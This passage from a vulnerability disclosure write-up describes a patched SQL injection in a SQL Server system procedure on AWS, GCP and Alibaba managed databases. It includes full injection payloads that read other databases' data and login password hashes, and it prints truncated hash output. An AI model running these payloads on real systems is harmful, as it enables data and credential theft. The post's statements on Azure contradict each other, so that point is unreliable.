--------------------------------------------------------- /* -- funcion: disable db cdc -- creator: yangzhao.yz@alibaba-inc.com -- date: 2019-09-24 -- modify history: 1. 2019-09-24 yangzhao.yz 2. 2019-09-24 yangzhao.yz 3. 2025-07-24 fix sql injection security issue */ --------------------------------------------------------- CREATE PROC dbo.sp_rds_free_proc_cache @paras sysname = '' WITH ENCRYPTION, EXECUTE AS 'pgt1714967321A\Administrator' AS BEGIN SET NOCOUNT ON; DECLARE @sqlcmd nvarchar(max) DECLARE @is_valid bit = 0 -- Whitelist validation: only allow predefined valid parameters IF @paras IS NULL OR @paras = '' BEGIN SET @sqlcmd = 'DBCC FREEPROCCACHE' SET @is_valid = 1 END ELSE BEGIN -- Check if it's a valid plan_handle format (hexadecimal) IF @paras LIKE '0x[0-9A-Fa-f][0-9A-Fa-f]%' AND LEN(@paras) BETWEEN 18 AND 200 AND SUBSTRING(@paras, 3, LEN(@paras)-2) NOT LIKE '%[^0-9A-Fa-f]%' COLLATE Latin1_General_BIN2 AND LEN(@paras) % 2 = 0 BEGIN SET @is_valid = 1 END -- Check if it's a valid SQL_handle format (fixed 40 chars total) ELSE IF @paras LIKE '0x[0-9A-Fa-f][0-9A-Fa-f]%' AND LEN(@paras) = 40 -- Fixed length of SQL_handle AND SUBSTRING(@paras, 3, 38) NOT LIKE '%[^0-9A-Fa-f]%' COLLATE Latin1_General_BIN2 BEGIN SET @is_valid = 1 END IF @is_valid = 1 BEGIN SET @sqlcmd = 'DBCC FREEPROCCACHE (' + @paras + ')' END ELSE BEGIN RAISERROR('Parameter does not match allowed patterns. Only valid plan_handle or sql_handle values are permitted.', 16, 1) RETURN END END BEGIN TRY EXEC (@sqlcmd) END TRY BEGIN CATCH DECLARE @error_message nvarchar(4000) = ERROR_MESSAGE() RAISERROR('Error executing DBCC command: %s', 16, 1, @error_message) END CATCH END GO |
The Extent of the Compromise – Access to User Data
In my opinion, this breach is a huge deal. As we saw, an attacker can read sys.sysobjvalues with elevated permissions, and can also access vast amounts of system data that is normally restricted. This goes far beyond just decrypting stored procedures.
Reveal Data from Restricted Tables
The attacker could also reveal data for a table it doesn’t have access to by exploiting the stats stream data stored on the imageval column of sys.sysobjvalues. The statistics stream often contains samples of data and strings from the table being sampled.
For instance, let’s envisage the following scenario:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
/* Create a DB with some sensitive data */ USE master GO IF DB_ID('SensitiveData') IS NOT NULL BEGIN ALTER DATABASE SensitiveData SET SINGLE_USER WITH ROLLBACK IMMEDIATE DROP DATABASE SensitiveData END CREATE DATABASE SensitiveData GO USE SensitiveData GO DROP TABLE IF EXISTS UserInfo; GO CREATE TABLE UserInfo ([UserName] VARCHAR(200), [CreditCardNumber] VARCHAR(2000)); GO INSERT INTO UserInfo VALUES('Fabiano', '1234 4567 7890 1234') GO CREATE STATISTICS Stats1 ON UserInfo ([UserName]) GO CREATE STATISTICS Stats2 ON UserInfo ([CreditCardNumber]) GO /* Reading data from UserInfo table */ SELECT * FROM dbo.[UserInfo] GO |
Result:
|
1 2 3 4 5 6 7 |
UserName CreditCardNumber ------------- ------------------- Fabiano 1234 4567 7890 1234 Neves 9999 8888 7777 6666 Amorim 2222 2222 2222 2222 (3 rows affected) |
Now, let’s consider you have a login, that only has access to a specific DB. Access to SensitiveData db is not allowed:
|
1 2 3 4 5 6 7 8 9 10 |
USE master GO CREATE LOGIN AppLogin WITH PASSWORD=N'102030', CHECK_POLICY=OFF GO /* Create a user for AppLogin on DB1 and give it db_owner on the DB */ USE DB1 GO CREATE USER AppLogin FOR LOGIN AppLogin; ALTER ROLE [db_owner] ADD MEMBER AppLogin; GO |
If you login as AppLogin and try to read data from the SensitiveData database, you’ll receive an error saying you don’t have access to it – so far so good:
|
1 2 3 4 5 |
-- Session logged as AppLogin USE DB1 GO SELECT * FROM SensitiveData.dbo.UserInfo GO |
Result (Access Denied):
|
1 2 |
Msg 916, Level 14, State 2, Line 3 The server principal "AppLogin" is not able to access the database "SensitiveData" under the current security context. |
But, we do have access to sysobjvalues in the SensitiveData database, so let’s inject a code using sp_help_spatial_geography_histogram and read data from this table. Notice the injected code is reading table from SensitiveData db:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
-- Session logged as AppLogin USE DB1 -- Step 1: Store the full decryption script payload DROP TABLE IF EXISTS ##MyDynamicCode CREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX)) INSERT INTO ##MyDynamicCode (Col1) VALUES(N' DROP TABLE IF EXISTS ##tmp_sysobjvalues; SELECT * INTO ##tmp_sysobjvalues FROM SensitiveData.sys.sysobjvalues WHERE imageval IS NOT NULL ') GO -- Step 2: Inject the execution of the stored script DROP TABLE IF EXISTS TabDecrypt CREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY) GO -- Execute the injection EXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100; GO |
By parsing the hexadecimal statistics data (imageval) for the sysobjvalues table, we can extract human-readable strings, effectively bypassing the permission restriction.
Let’s create a function to help us parse the imageval hex:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
-- Session logged as AppLogin USE DB1 GO /*============================================================== dbo.fn_ParseStringsFromHex Returns every run of printable ASCII characters (length >= @minLen) discovered in a varbinary(MAX) blob, together with its offset. Parameters ---------- @blob : varbinary(MAX) -- the binary to scan @minLen : int = 3 -- minimum length of string to keep @filterHex : varbinary(128)=NULL -- optional byte pattern to filter on ================================================================*/ CREATE OR ALTER FUNCTION dbo.fn_ParseStringsFromHex ( @blob VARBINARY(MAX), @minLen INT = 3 ) RETURNS TABLE AS RETURN ( /* ---------- 1. Generate one row per byte ---------- */ WITH L0 AS(SELECT 1 AS C UNION ALL SELECT 1 AS O), -- 2 rows L1 AS(SELECT 1 AS C FROM L0 AS A CROSS JOIN L0 AS B), -- 4 rows L2 AS(SELECT 1 AS C FROM L1 AS A CROSS JOIN L1 AS B), -- 16 rows L3 AS(SELECT 1 AS C FROM L2 AS A CROSS JOIN L2 AS B), -- 256 rows L4 AS(SELECT 1 AS C FROM L3 AS A CROSS JOIN L3 AS B), -- 65,536 rows L5 AS(SELECT 1 AS C FROM L4 AS A CROSS JOIN L4 AS B), -- 4,294,967,296 rows Nums AS(SELECT ROW_NUMBER() OVER(ORDER BY (SELECT NULL)) AS N FROM L5), Bytes AS ( SELECT TOP (DATALENGTH(@blob)) n = ROW_NUMBER() OVER (ORDER BY (SELECT NULL)), ch = CONVERT(int, SUBSTRING(@blob, ROW_NUMBER() OVER (ORDER BY (SELECT NULL)), 1)) FROM (SELECT TOP (10000) * FROM Nums) AS fnSequencial -- any large-enough tally source ), /* ---------- 2. Tag printable bytes ---------- */ Flags AS ( SELECT n, ch, isPrint = CASE WHEN ch BETWEEN 32 AND 126 THEN 1 ELSE 0 END FROM Bytes ), /* ---------- 3. Build islands of consecutive printable chars ---------- */ Islands AS ( SELECT n, ch, grp = SUM(CASE WHEN isPrint = 1 THEN 0 ELSE 1 END) OVER (ORDER BY n ROWS UNBOUNDED PRECEDING) FROM Flags ), /* ---------- 4. Aggregate each island into a string ---------- */ Strings AS ( SELECT StartOffset = MIN(n) - 1, -- 0-based offset [Length] = COUNT(*), [Text] = STRING_AGG(CHAR(ch), '') -- concat bytes → text WITHIN GROUP (ORDER BY n) FROM Islands WHERE ch BETWEEN 32 AND 126 -- printable ASCII GROUP BY grp HAVING COUNT(*) >= @minLen ) /* ---------- 5. Optional hex-pattern filter ---------- */ SELECT StartOffset, [Length], [Text] FROM Strings ); GO |
Now, we can use this function to reveal the data from the statistic:
|
1 2 3 4 5 |
-- Session logged as AppLogin SELECT fn_ParseStringsFromHex.* FROM ##tmp_sysobjvalues CROSS APPLY dbo.fn_ParseStringsFromHex(##tmp_sysobjvalues.imageval, 5) AS fn_ParseStringsFromHex GO |
Result (revealing sensitive data from UserInfo table):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
StartOffset Length Text -------------------- ----------- ----------------------------------------------------------- 419 7 Amorim0 448 8 Fabiano0 478 5 Neves 520 18 AmorimFabianoNeves 419 20 1234 4567 7890 12340 461 20 2222 2222 2222 22220 503 19 9999 8888 7777 6666 559 57 1234 4567 7890 12342222 2222 2222 22229999 8888 7777 6666 419 5 ?CO 442 5 ?SL 465 5 ?VWCK 488 5 ?VWCM 533 8 CO SL 786 18 AFFNSIFTP S TFV X 195 5 @_B[A 1394 57 1234 4567 7890 12342222 2222 2222 22229999 8888 7777 6666 5639 5 ?VWCM 5684 8 CO SL 7342 5 m[?AL 29 5 m[?AL (20 rows affected) |
This technique successfully reveals data from ANY database in the instance that are meant to be entirely hidden from the attacker.
Read Password Hashes
Standard security restricts access to password hashes for logins, as per the documentation:
In SQL Server, any SQL Server authentication login can see their own login name, and the sa login. To see other logins, the principal requires ALTER ANY LOGIN, VIEW SERVER SECURITY DEFINITION, or a permission on the login.
To view the contents of the password_hash column, CONTROL SERVER is required. Starting with SQL Server 2022 (16.x), VIEW ANY CRYPTOGRAPHICALLY SECURED DEFINITION permission is required.
If we try to read data from sql_logins, we’ll get the following:
|
1 2 3 |
SELECT name, password_hash FROM master.sys.sql_logins WHERE type = 'S' GO |
Result (Standard):
|
1 2 3 4 5 6 |
name password_hash ---------------------------------- ---------------- rdsa NULL ##MS_PolicyTsqlExecutionLogin## NULL ##MS_PolicyEventProcessingLogin## NULL admin NULL |
However, since we can read the underlying privileged table (sys.sysxlgns), we can find the hidden password hashes (pwdhash):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
USE DB1 -- Step 1: Store the full decryption script payload DROP TABLE IF EXISTS ##MyDynamicCode CREATE TABLE ##MyDynamicCode (Col1 NVARCHAR(MAX)) INSERT INTO ##MyDynamicCode (Col1) VALUES(N' DROP TABLE IF EXISTS ##tmp_sysxlgns; SELECT name, pwdhash INTO ##tmp_sysxlgns FROM master.sys.sysxlgns WHERE pwdhash IS NOT NULL; ') GO -- Step 2: Inject the execution of the stored script DROP TABLE IF EXISTS TabDecrypt CREATE TABLE TabDecrypt (Col1 INT, c1 GEOGRAPHY, [c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--] GEOGRAPHY) GO -- Execute the injection EXEC sys.sp_help_spatial_geography_histogram @tabname = 'TabDecrypt', @colname = 'c1, 10,10) a GROUP BY a.id, a.wkb; DECLARE @SQL NVARCHAR(MAX);SELECT @SQL=Col1 FROM ##MyDynamicCode; EXEC (@SQL);--', @resolution = 10, @sample = 100; GO -- The privileged table data is now accessible SELECT * FROM ##tmp_sysxlgns GO |
Result (Privileged):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
-- AWS /* name pwdhash ------------------------------------ -------------------------------------- rdsa 0x0200C18E5FD2B7B5E90CA651DE7E6CEE7... ##MS_PolicyTsqlExecutionLogin## 0x0200AB8E303DA002CF99FE33493A5AFC6... ##MS_PolicyEventProcessingLogin## 0x020090A3E9D30D9DE85D5A8B5B8BEE025... admin 0x0200723931878C829F35C3B698B098AE6... */ -- GCP /* name pwdhash ------------------------------------ -------------------------------------- sa 0x02002A7B7DD24CE1751A15A70CFFD902A... ##MS_PolicyEventProcessingLogin## 0x0200191E7D2672BC970D02D5680A416C5... ##MS_PolicyTsqlExecutionLogin## 0x020083BD931000E776711567BF7441066... CloudDbSqlRoot 0x0200647E418FF38E6C13B16B6F5A48499... CloudDbSqlAgent 0x0200C4AFBA31CB93E8D3AF6FF212ACB3E... sqlserver 0x0200D10954D80967C302AA17F64BABAE0... CloudDbSqlRoot_2 0x0200F3B57F5A6D5666556BFCA58C112A7... CloudDbSqlAgent_2 0x0200BD7A091D6E6F65F766F6C8063E75C... distributor_admin 0x0200EF5398996FEDDA07C540A8277CC96... */ -- Alibaba /* name pwdhash ------------------------------------ -------------------------------------- sqlsa 0x020087AF56474C7B5030B1641850E14A6... ##MS_PolicyTsqlExecutionLogin## 0x02008853D926CFCCF3DCE5F5156F3A372... ##MS_PolicyEventProcessingLogin## 0x02001F27F4867E35A65423A747F23E223... aurora 0x0200B2F43E7D6690D25E78DC562FF418B... rds_service 0x02008BE15492CC180DFDCFBA473DEE897... rds_ha_sec_user 0x02000484EBE76C8A5155C69CE711C7F02... sqlserver 0x0200A99A85ECC74E28C841AE82BF13E3C... */ |
This exposes the password hashes for the RDS internal user (rdsa) and the customer’s primary login (admin).
A user with access to login hashes can now go ahead and try to crack it using hashcat or something similar, as demonstrated here by Vlad Drumea.
Conclusion & Key Takeaways
This analysis reveals a critical example of how a seemingly minor SQL injection flaw in a niche system procedure can lead to a complete compromise of the security boundary in a managed cloud database environment. The technique demonstrated allowed for three major security impacts:
- Full decryption of system code, exposing the proprietary logic and security checks.
- Access to hidden data using statistics from any user database in the instance.
- Exposure of login credentials, the password hashes for all accounts.
For database administrators, this exploit highlights the subtle but profound security risks that exist in the overlap between vendor-managed infrastructure and user-accessible databases. While vendors try to maintains a secure platform, a single vulnerability in a high-privilege system object can unravel complex security layers.
Key Takeaways
- A SQL Server DBaaS vulnerability allowed standard users on AWS RDS, GCP CloudSQL, and Alibaba ApsaraDB to access system tables and decrypt vendor-protected procedures.
- The exploit relied on a dynamic SQL flaw in the system stored procedure
sys.sp_help_spatial_geography_histogram. - Only users with standard privileges could trigger the exploit — no sysadmin access was required.
- The issue was patched in SQL Server 2022 CU20 (KB5063814); all managed DBaaS providers applied vendor-specific mitigations.
- DBaaS users should monitor vendor security bulletins, enforce least privilege, and apply patches promptly to prevent similar attacks.
Note 1: This specific vulnerability in sys.sp_help_spatial_geography_histogram was already fixed by Microsoft. This vulnerability led to CVE-2025-47954 and CVE-2025-53727 and the fix was released on KB5063814, a security update for SQL Server 2022 CU20.
Note 2: Azure SQL database was also vulnerable, but, once I reported it, Microsoft was very quick to fix it and since there is no option to setup an instance using an old version of SQL, this vulnerability is not exploitable anymore.
Frequently Asked Questions (FAQ)
- Which platforms were affected by this vulnerability?
The vulnerability impacted AWS RDS for SQL Server, GCP CloudSQL for SQL Server, and Alibaba ApsaraDB RDS for SQL Server. Azure SQL Database was not affected. - What part of SQL Server was exploited?
The exploit targeted the system stored proceduresys.sp_help_spatial_geography_histogram, which allowed standard users to execute dynamic SQL and access internal system tables. - Could attackers escalate privileges to sysadmin?
No – the vulnerability allowed access to system tables and decryption of procedures but did not grant full sysadmin privileges. - How can users mitigate this vulnerability?
Apply the SQL Server 2022 CU20 (KB5063814) patch and follow vendor-specific updates. Enforce least privilege, monitor unusual activity, and review access to sensitive tables. - Are there other risks for DBaaS users?
Similar risks exist whenever system stored procedures expose dynamic SQL. Regular patching, monitoring, and careful privilege assignment reduce risk across DBaaS platforms. - Is this vulnerability relevant for on-premises SQL Server?
Only SQL Server 2022 instances using the affected stored procedure are vulnerable. Standard on-premises versions not running the specific procedure or older versions may not be affected.
Load comments